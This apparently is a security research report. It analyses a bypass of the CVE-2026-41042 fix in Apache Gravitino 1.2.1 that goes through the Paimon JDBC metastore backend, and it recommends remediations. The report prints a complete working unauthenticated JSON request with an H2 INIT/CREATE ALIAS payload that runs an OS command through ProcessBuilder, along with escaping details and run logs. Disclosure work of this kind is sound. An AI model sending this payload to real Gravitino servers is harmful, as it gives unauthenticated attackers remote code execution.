# Variant Root Cause Analysis — CVE-2026-41042 (Paimon JDBC-metastore bypass)

## Summary

A **true bypass** of the CVE-2026-41042 fix was found and confirmed at runtime on
the **fixed** Apache Gravitino **1.2.1** server (build commit
`e88bffcfc31b7a656c960245b63b1e4c4901b8ee`). The official fix (commit
`5daabcd0` / cherry-pick `84d3de9c7`, shipped in 1.2.1) blocks H2 JDBC URLs and
the `org.h2.` driver class **only inside**
`org.apache.gravitino.catalog.jdbc.utils.DataSourceUtils.createDataSource()` —
the sink used by the *relational* JDBC catalogs. The bypass reaches the exact
same H2 `INIT` → `CREATE ALIAS` → compiled Java → `ProcessBuilder` RCE primitive
through a **different catalog provider**, `lakehouse-paimon` with
`catalog-backend=jdbc`, whose metastore backend opens the JDBC connection via
Paimon's own `org.apache.paimon.jdbc.JdbcCatalog`
(`DriverManager.getConnection(uri, ...)`). That code path never calls
`DataSourceUtils.createDataSource()`, so the H2 block is never evaluated. The H2
driver stays reachable because `IsolatedClassLoader.isSharedClass()` delegates
every non-Gravitino-catalog class (including `org.h2.Driver`) to the server
classloader, which bundles `libs/h2-1.4.200.jar`. An unauthenticated caller
(default SimpleAuthenticator, authorization disabled) supplies
`uri=jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder("id > marker")...'`
via `POST /api/metalakes/{ml}/catalogs/testConnection` and obtains arbitrary OS
command execution inside the server JVM. The attacker's `id` output was written
to a marker file from within the fixed server, on two consecutive attempts, in
two independent script runs.

## Fix Coverage / Assumptions

- **Invariant the fix relies on:** "DataSourceUtils.createDataSource() is the
  entry point for *all* user-facing catalog JDBC connections" (quoted from the
  PR description). If true, blocking H2 there protects every user-reachable
  JDBC connection.
- **Code paths the fix explicitly covers:** relational JDBC catalogs that go
  through `JdbcCatalogOperations.initialize()` → `DataSourceUtils.createDataSource()`
  — i.e. `jdbc-mysql`, `jdbc-postgresql`, `jdbc-doris`, `jdbc-starrocks`. The
  check is applied for both catalog *creation* and `testConnection` (both call
  `ops()`/`initialize()`). The check is robust against URL-encoding
  (`recursiveDecode`, up to 5 rounds) and case (`toLowerCase()`); an H2 URL
  whose original form is accepted by H2 must, after lowercasing+decoding, start
  with `jdbc:h2`, so the URL check is sound for the relational path.
- **What the fix does NOT cover:** any catalog provider that opens a JDBC
  connection from user-supplied properties **without** going through
  `DataSourceUtils`. `lakehouse-paimon` (`catalog-backend=jdbc`) is one such
  provider: it hands the raw `uri` to Paimon's `CatalogFactory.createCatalog`
  → `JdbcCatalog`, which calls `DriverManager.getConnection(uri)` directly.

## Variant / Alternate Trigger

**Entry point (unauthenticated):**
`POST /api/metalakes/{metalake}/catalogs/testConnection` with

```json
{
  "name": "evil_paimon_catalog",
  "type": "RELATIONAL",
  "provider": "lakehouse-paimon",
  "comment": "test",
  "properties": {
    "catalog-backend": "jdbc",
    "uri": "jdbc:h2:mem:<rand>;INIT=CREATE ALIAS EXEC AS 'String f() throws Exception { new ProcessBuilder(new String[]{\"sh\",\"-c\",\"id > <MARKER>\"}).start().waitFor(); return \"ok\"; }';CALL EXEC()",
    "jdbc-driver": "org.h2.Driver",
    "jdbc-user": "test",
    "jdbc-password": "test",
    "warehouse": "/tmp/paimon_wh"
  }
}
```
(`;` inside the H2 `INIT` value is escaped as `\;` per H2 URL syntax.) No
`Authorization` header is sent — the default `SimpleAuthenticator` accepts
anonymous requests and `gravitino.authorization.enable=false`.

**Code path (files / functions):**
- `catalogs/catalog-lakehouse-paimon/.../PaimonCatalogOperations.java` —
  `initialize()` (~line 120) builds `new PaimonCatalogOps(new PaimonConfig(...))`;
  `testConnection()` (~line 150) calls `paimonCatalogOps.listDatabases()`.
- `catalogs/catalog-lakehouse-paimon/.../ops/PaimonCatalogOps.java` —
  constructor (~line 48) calls `CatalogUtils.loadCatalogBackend(paimonConfig)`.
- `catalogs/catalog-lakehouse-paimon/.../utils/CatalogUtils.java` —
  `loadCatalogBackend` (~line 59) → `loadCatalogBackendWithSimpleAuth` (~line 115)
  → `checkPaimonConfig` does `Class.forName(driverClassName)` (~line 143) for
  `metastore=jdbc`, then `CatalogFactory.createCatalog(catalogContext)` (Paimon).
- `org.apache.paimon.jdbc.JdbcCatalogFactory.create` →
  `org.apache.paimon.jdbc.JdbcCatalog.<init>` (`JdbcCatalog.java:98`) →
  `DriverManager.getConnection(uri, user, pw)` → **H2 `INIT` fires**.

The server-side stack captured on the fixed 1.2.1 server (from
`bundle/logs/vuln_variant/paimon_fixed_server.log`) confirms exactly this chain
and shows the `DataSourceUtils` H2-block messages **never** appear:

```
java.lang.RuntimeException: Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS '...'
  at org.apache.paimon.jdbc.JdbcCatalog.<init>(JdbcCatalog.java:98)
  at org.apache.paimon.jdbc.JdbcCatalogFactory.create(JdbcCatalogFactory.java:42)
  at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackendWithSimpleAuth(CatalogUtils.java:115)
  at org.apache.gravitino.catalog.lakehouse.paimon.utils.CatalogUtils.loadCatalogBackend(CatalogUtils.java:59)
  at org.apache.gravitino.catalog.lakehouse.paimon.ops.PaimonCatalogOps.<init>(PaimonCatalogOps.java:48)
  at org.apache.gravitino.catalog.lakehouse.paimon.PaimonCatalogOperations.initialize(PaimonCatalogOperations.java:120)
```
`grep -c "H2 JDBC URL is not allowed\|H2 JDBC driver is not allowed"` on the
fixed server log = **0**.

This is a **bypass** (reproduces on the patched/fixed ref), not merely an
alternate trigger on the vulnerable ref: the same payload achieves RCE on
1.2.1 *because the fix does not cover this path*.

## Impact

- **Package/component affected:** the H2 `INIT`/`CREATE ALIAS` RCE primitive,
  reached via `catalog-lakehouse-paimon`'s JDBC metastore backend
  (`PaimonCatalogOperations`/`PaimonCatalogOps`/`CatalogUtils` → Paimon
  `JdbcCatalog`). The shared enabler is `core/.../utils/IsolatedClassLoader`
  (treats `org.h2.*` as a shared/server class) plus the bundled
  `libs/h2-1.4.200.jar`.
- **Affected versions (as tested):** confirmed on the official binary
  distributions **1.2.0** (build `1c1665f05e24f69833bcedfb0e6dc6b477f95dc4`)
  and **1.2.1** (build `e88bffcfc31b7a656c960245b63b1e4c4901b8ee`). 1.2.1 is the
  version that contains the fix, so the 1.2.1 result constitutes the bypass.
- **Risk level / consequences:** Remote code execution (arbitrary OS command
  execution) by an **unauthenticated** remote caller, in the default
  deployment (SimpleAuthenticator, authorization disabled, H2 entity-store
  backend). Same severity class and same primitive as the original CVE.

## Impact Parity

- **Disclosed/claimed maximum impact (parent CVE):** arbitrary Java code
  execution on the server via H2's `INIT` parameter → code_execution.
- **Reproduced impact from this variant run:** arbitrary OS command execution
  (`id`) inside the fixed 1.2.1 server JVM, proven by a marker file written by
  the attacker's `ProcessBuilder` containing the real `uid=...` output.
- **Parity: full.** Same primitive (H2 INIT → CREATE ALIAS → Java → OS
  command), same unauthenticated trust boundary, same default-config
  reachability. The only difference is the catalog-provider entry point.
- **Not demonstrated here:** persistence / post-exploitation; a reverse shell
  (trivially substituted for `id` via the same `ProcessBuilder` primitive, but
  out of scope for a proof).

## Root Cause

The original bug: Gravitino passes an unauthenticated, user-controlled JDBC URL
to a JDBC driver at connection time, and the bundled H2 driver executes
arbitrary code from URL parameters (`INIT` → `CREATE ALIAS AS '<java>'`).

The fix assumed `DataSourceUtils.createDataSource()` is the *only* such
connection point and blocked H2 there. That assumption is wrong: catalog
providers may open JDBC connections through their own third-party libraries.
Paimon's `JdbcCatalog` is one example — it receives the raw `uri` and calls
`DriverManager.getConnection(uri)` itself. Because the H2 driver is a *shared*
class (`IsolatedClassLoader.isSharedClass` → `!isCatalogClass` → delegated to
the server classloader, which has `h2-1.4.200.jar`), `Class.forName("org.h2.Driver")`
from the Paimon provider succeeds and H2 accepts the `jdbc:h2:...` URL, so
`INIT` fires and the identical RCE executes — on the patched 1.2.1 server.

**Fix commit (main):** `5daabcd0e8ddc96e25bd6c6ce7b153cdb311c3f2`; cherry-pick
to `branch-1.2`: `84d3de9c7c436fbdac72b5f7a1163e65e0580fe2` (shipped in 1.2.1).

## Reproduction Steps

1. **Script:** `bundle/vuln_variant/reproduction_steps.sh` (self-contained,
   idempotent).
2. **What it does:**
   - Reuses/downloads the official `gravitino-1.2.0-bin.tar.gz` (vulnerable)
     and `gravitino-1.2.1-bin.tar.gz` (fixed) binary distributions.
   - For each version: extracts a clean copy, disables auxiliary services,
     starts the real `gravitino.sh` server, waits for the `/api/version`
     healthcheck, creates a metalake, and sends an **unauthenticated**
     `POST /api/metalakes/test_ml/catalogs/testConnection` with
     `provider=lakehouse-paimon`, `catalog-backend=jdbc`,
     `jdbc-driver=org.h2.Driver`, and a malicious `uri` whose H2 `INIT` runs
     `CREATE ALIAS` + `ProcessBuilder` to execute `id` and write its output to
     a marker file. Two attempts per version (each uses a fresh H2 in-memory DB
     name, since H2 runs `INIT` only when a DB is first created).
   - Captures per-attempt request/response logs, server logs, version JSON, and
     the RCE marker files under `bundle/logs/vuln_variant/`.
3. **Expected evidence:**
   - Vulnerable 1.2.0: marker created (`uid=...`) → RCE (same primitive,
     additional entry point).
   - **Fixed 1.2.1: marker created (`uid=...`) → BYPASS.** The HTTP response is
     500 with `"Failed to connect: jdbc:h2:mem:...;INIT=CREATE ALIAS ..."` (Paimon
     wrapping the H2 connection), and crucially the response/server log do
     **not** contain `"H2 JDBC URL is not allowed"` (the `DataSourceUtils`
     block), proving the request never hit the patched sink.

## Evidence

- `bundle/logs/vuln_variant/variant_repro.log` — orchestrator log + verdict
  (both runs).
- `bundle/logs/vuln_variant/vuln_version.json` — `1.2.0`, gitCommit
  `1c1665f05e24f69833bcedfb0e6dc6b477f95dc4`.
- `bundle/logs/vuln_variant/fixed_version.json` — `1.2.1`, gitCommit
  `e88bffcfc31b7a656c960245b63b1e4c4901b8ee`.
- `bundle/logs/vuln_variant/paimon_vuln_attempt_{1,2}.log` —
  `marker_exists: True`, `marker_content: uid=1000(vscode) ...`,
  `datasourceutils_h2_block_fired: False`.
- `bundle/logs/vuln_variant/paimon_fixed_attempt_{1,2}.log` —
  `marker_exists: True`, `marker_content: uid=1000(vscode) ...`,
  `datasourceutils_h2_block_fired: False` (the bypass).
- `bundle/logs/vuln_variant/rce_marker_paimon_fixed_latest.txt` — the file
  written by the attacker's OS command inside the **fixed** server JVM:
  `uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)`.
- `bundle/logs/vuln_variant/paimon_fixed_server.log` — server-side stack showing
  `PaimonCatalogOperations.initialize` → `PaimonCatalogOps` → `CatalogUtils` →
  `JdbcCatalogFactory.create` → `JdbcCatalog.<init>`, with zero
  `DataSourceUtils` H2-block messages (excerpt saved to
  `bundle/logs/vuln_variant/fixed_bypass_stack_excerpt.txt`).
- `bundle/logs/vuln_variant/variant_run_stdout.log` /
  `variant_run_stdout_2.log` — two full script runs (both exit 0).

Key excerpts (fixed 1.2.1, unauthenticated):
```
fixed_paimon_a1 testConnection_status: 500
fixed_paimon_a1 testConnection_body: {"code":1002,"type":"RuntimeException",
  "message":"Failed to connect: jdbc:h2:mem:paimonrce...;INIT=CREATE ALIAS EXEC AS '...ProcessBuilder...id > ...marker...'..."}
fixed_paimon_a1 marker_exists: True
fixed_paimon_a1 marker_content: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)
fixed_paimon_a1 datasourceutils_h2_block_fired: False
```

Environment: OpenJDK 17.0.19, official Apache Gravitino binary tarballs, H2
1.4.200 (bundled), Paimon `JdbcCatalog` (bundled in `catalogs/lakehouse-paimon`),
Jetty 9, default server config (SimpleAuthenticator, authorization disabled,
H2 entity-store backend).

## Recommendations / Next Steps

- Move the H2/JDBC-URL allow-list out of `DataSourceUtils.createDataSource()`
  into the shared `JdbcUrlUtils.validateJdbcConfig()` (gated so the internal
  entity store can still use H2), and make **every** provider that opens a JDBC
  connection from user-supplied properties call it. At minimum, add the check to
  Paimon's `CatalogUtils.checkPaimonConfig` / `loadCatalogBackendWithSimpleAuth`
  (reject `uri` decoded+lowercased starting with `jdbc:h2` and `jdbc-driver`
  starting with `org.h2.` for `catalog-backend=jdbc`).
- Apply the same validation at the `lakehouse-paimon` `PropertiesMetadata` /
  `transformProperties` layer so it covers both `testConnection` and catalog
  creation.
- Audit other providers that open JDBC connections outside `DataSourceUtils`
  (e.g. Iceberg `JdbcCatalog` if exposed, `JdbcPartitionStatisticStorageFactory`)
  and route them through the same validator; prefer a positive allow-list of
  JDBC URL schemes/drivers rather than only blocking H2.
- Reconsider whether `org.h2.*` should be a *shared* class for catalog
  classloaders (the URL/driver allow-list is the more general fix, but
  un-sharing H2 would also remove the primitive).

## Additional Notes

- **Idempotency:** confirmed — `reproduction_steps.sh` was run twice
  consecutively; both runs exited 0 with identical verdicts (vulnerable RCE on
  both attempts, fixed bypass on both attempts). Each run extracts into fresh
  directories and uses a unique H2 in-memory DB name per attempt.
- **Payload detail:** every `;` inside the H2 `INIT` value (Java statement
  terminators and the `CREATE ALIAS`/`CALL` separator) is escaped as `\;`; the
  Java source is wrapped in single quotes (H2 requirement). The `500` /
  "Failed to connect" response is expected and does **not** negate the RCE —
  H2 runs `INIT` (compiling and invoking the alias) during the connection open,
  before Paimon's later table-initialisation SQL raises; the marker is written
  regardless.
- **Why this is a valid variant/bypass and not a relabelled duplicate:** the
  entry point (catalog provider + properties) is materially different
  (`lakehouse-paimon`/`catalog-backend=jdbc`/`uri` vs `jdbc-postgresql`/
  `jdbc-url`), the connection sink is different code (Paimon `JdbcCatalog` vs
  Gravitino `DataSourceUtils`), and the fix that the parent CVE shipped does
  not cover it — demonstrated by reproduction on the fixed ref.
